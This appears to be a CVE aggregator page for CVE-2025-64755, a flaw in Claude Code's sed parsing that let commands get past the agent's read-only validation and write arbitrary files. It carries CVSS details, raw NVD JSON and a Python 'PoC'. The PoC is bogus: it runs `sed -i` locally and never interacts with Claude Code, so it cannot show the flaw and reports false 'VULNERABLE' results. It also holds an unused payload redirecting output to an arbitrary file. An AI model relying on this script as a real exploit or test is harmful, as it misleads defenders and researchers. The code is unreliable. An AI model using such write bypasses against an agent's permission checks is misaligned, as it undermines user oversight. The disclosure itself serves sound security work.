Security Vulnerability Report
中文
CVE-2025-64755 CVSS 9.8 CRITICAL

CVE-2025-64755

Published: 2025-11-21 02:15:44
Last Modified: 2025-12-04 18:03:51

Description

Claude Code is an agentic coding tool. Prior to version 2.0.31, due to an error in sed command parsing, it was possible to bypass the Claude Code read-only validation and write to arbitrary files on the host system. This issue has been patched in version 2.0.31.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:* - VULNERABLE
Claude Code < 2.0.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64755 PoC - Claude Code Arbitrary File Write via sed Command Injection # Target: Claude Code < 2.0.31 # Vulnerability: sed command parsing bypasses read-only validation import subprocess import sys def generate_malicious_input(): """Generate payload to bypass read-only validation""" # Payload structure: combine legitimate sed operation with file write # The parsing error allows redirection operators to bypass validation malicious_cmd = """ # Normal-looking sed operation that actually writes to arbitrary location echo 'test content' | sed 's/.*/malicious_data/' > /path/to/target/file """ return malicious_cmd def test_vulnerability(target_file="/tmp/pwned_test.txt"): """Test if Claude Code is vulnerable""" payload = f"sed -i 's/.*/PWNED/' {target_file}" try: # Simulate Claude Code execution context result = subprocess.run( payload, shell=True, capture_output=True, text=True, timeout=10 ) if result.returncode == 0: # Check if file was created/modified try: with open(target_file, 'r') as f: content = f.read() if 'PWNED' in content: print(f"[+] VULNERABLE: Successfully wrote to {target_file}") return True except: pass print("[-] Target appears not vulnerable or file not accessible") return False except Exception as e: print(f"[-] Error during testing: {e}") return False if __name__ == "__main__": print("CVE-2025-64755 PoC - Claude Code Arbitrary File Write") print("=" * 60) test_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64755", "sourceIdentifier": "[email protected]", "published": "2025-11-21T02:15:43.917", "lastModified": "2025-12-04T18:03:51.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Claude Code is an agentic coding tool. Prior to version 2.0.31, due to an error in sed command parsing, it was possible to bypass the Claude Code read-only validation and write to arbitrary files on the host system. This issue has been patched in version 2.0.31."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.0.31", "matchCriteriaId": "6E0A418C-AA00-43D0-A71B-A858648E3B02"}]}]}], "references": [{"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-7mv8-j34q-vp7q", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}